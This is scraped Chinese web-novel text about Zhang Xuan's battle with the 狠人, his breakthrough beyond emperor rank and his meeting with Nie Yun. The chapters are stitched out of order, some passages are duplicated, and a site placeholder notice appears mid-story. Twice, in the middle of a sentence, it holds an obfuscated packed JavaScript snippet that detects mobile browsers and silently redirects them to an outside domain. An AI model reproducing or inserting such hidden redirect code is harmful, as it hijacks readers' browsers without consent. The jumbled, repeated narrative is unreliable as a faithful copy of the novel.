本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139939|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第182章 师父 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 